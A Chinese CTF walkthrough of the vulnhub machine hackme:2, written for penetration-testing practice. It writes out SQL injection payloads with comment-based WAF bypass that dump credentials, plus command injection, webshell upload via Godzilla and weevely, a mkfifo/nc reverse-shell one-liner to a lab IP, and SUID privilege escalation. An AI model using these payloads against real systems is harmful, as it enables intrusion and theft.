Skip to content

Latest commit

 

History

History
216 lines (126 loc) · 10.8 KB

hackme:2 靶机攻略.md

File metadata and controls

216 lines (126 loc) · 10.8 KB

本文由 简悦 SimpRead 转码, 原文地址 mp.weixin.qq.com

0x01 背景:


hackme:2 是 vulnhub 上的一个 medium 难度的 CTF 靶机,难度适中、内容丰富,贴近实战。而且没有太多的脑洞,适合安全工作者们用来练习渗透测试,然而唯一的缺憾是目前没有公开的攻略,因此把个人的通关过程记录于此,作为攻略分享给大家!

0x02 技术关键词:

SQL 注入、WAF Bypass、模糊测试、文件上传、suid 提权

0x03 靶机发现与端口扫描

做 vulnhub 上的靶机的第一步,所有的靶机都是一样的套路,不在这里多费笔墨。

0x04 SQL 注入与 WAF Bypass

打开位于 80 端口的 Web 页面,注册一个测试账号 wangtua/wangtua,就可以登录系统了,可以发现是一个书店系统。

进入系统之后发现有一个搜索框,SQL 注入的套路很明显了。要做 SQL 注入、第一步就是猜测 SQL 语句的格式和注入点。

1、探测 SQL 格式,WAF 规则

本搜索框的功能是检索数据库中的书名、当搜索框为空的时候,可以返回所有的内容,

当搜索框中只包含书名的前一部分的时候,也可以返回对应的内容:

因此我们猜测 SQL 语句格式为 (% 代表通配符,可以匹配零个或者多个任意字符):

$sql = "SELECT * FROM BOOKS WHERE book_name LIKE '".$input."%';"

基于此,我们构造如下 payload:

Linux%' and '123' like '1

使用另一个 payload:

Linux%' and '23' like '1

发现无法返回结果

可以验证我们的想法。
然而我们使用数据库函数的时候却出现了问题:
Payload:

Linux%'/**/and database() like/**/'

没有返回内容, 而当我们使用注释符来代替空格的时候,则可以执行成功。

2、构造 Payload

通过构造联合查询,一步一步获取出数据库名,表名,列名和字段

Linux%'/**/union/**/select/**/database/**/(),'2','3

Linux%'/**/union/**/select/**/group_concat(table_name),"2","3"/**/from/**/information_schema.tables/**/where/**/table_schema/**/like/**/'webapp

Linux%'/**/union/**/select/**/group_concat(column_name),"2","3"/**/from/**/information_schema.columns/**/where/**/table_name/**/like/**/'users'and/**/table_schema/**/like'webapp

Linux%'/**/union/**/select/**/group_concat(user),'2',group_concat(pasword)/**/from/**/users/**/where/**/'1'/**/like/**/'

到此为止我们发现了一个 superadmin 的账号,将 md5 值在线解码之后发现是 Uncrackable

0x05 模糊测试与命令执行

进入超级管理员账号之后,我们发现了一个可以进行文件上传的点,

上传 cat.jpg 之后,页面上回显了上传路径。
然而我们却无法直接访问任何文件。
接下来我们注意到下面两个输入框,可以将处理结果回显到页面上,这里我除了想到 XSS 之外。还想到了测试命令注入或者模板注入。可以发现在 Last Name 输入框里输入 7*7,可以返回 49
我们可以使用 BurpSuite 专业版的 Intruder 模块来进行模糊测试。

Payload 选择模糊测试 - 完整,

点击开始攻击。
攻击完成之后可以发现 id 这个 payload 有命令执行的回显。

我们换其他命令来执行,例如 pwd,ls 都可以正确执行而 cat 命令无法执行,猜测其过滤了空格,我们使用 cat<welcomeadmin.php 这个 payload 来绕过过滤。
可以看到在返回包里泄露的 welcomeadmin.php 的完整源代码,包括文件上传的绝对路径。

以及命令执行的成因:

使用哥斯拉生成木马并上传,发现 php 后缀被过滤,换成 php3 等也不行。

后缀改成 png 之后才上传成功,然而无法正常解析成 PHP 文件。

这里考虑使用刚才的命令执行漏洞,将文件名改成 god.php

使用哥斯拉进行连接,发现连接成功

0x06 后渗透与提权

为了可以有更好的交互环境,我们用 kali 自带的 weevely 生成木马并连接,完成连接之后使用 nc 反弹 shell:
由于靶机的 nc 版本特殊,无法使用 nc -e 选项,因此这里使用了如下的 payload
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.48.129 2333 >/tmp/f
(来自参考资料 2)

使用 pyhton 伪终端命令, 可以在伪终端执行 sudo 等命令

使用命令 find / -perm -u=s -type f 2>/dev/null 来发现设置了 suid 位的应用程序(参考资料 1)
关于 suid 提权的原理,可以参考 P 师傅的博客 (参考资料 3)。

发现 home 目录下有一个可疑的文件,执行一下之后发现顺利 get root 权限。

0x07 总结与复盘:

这台靶机感觉制作的比较用心,SQL 注入和文件上传等部分都比较贴近实战,唯一美中不足的是提权部分有些太过简单。目前本人正在备考 OSCP,在 vulnhub 和 HTB 上做了不少靶机,打算最近把 vulnhub 上后渗透的套路总结一下,再发一篇文章,希望大家支持一下。

0x08 参考资料:

1) https://payatu.com/guide-linux-privilege-escalation
2) https://github.com/swisskyrepo/PayloadsAllTheThings
3) https://www.leavesongs.com/PENETRATION/linux-suid-privilege-escalation.html

(点击 “阅读原文” 查看链接)

  • End -

精彩推荐

免拆芯片提取固件

风吹幡动:F5 与 “感知可控、随需而变的应用”

gatesXgame


戳 “阅读原文” 查看更多内容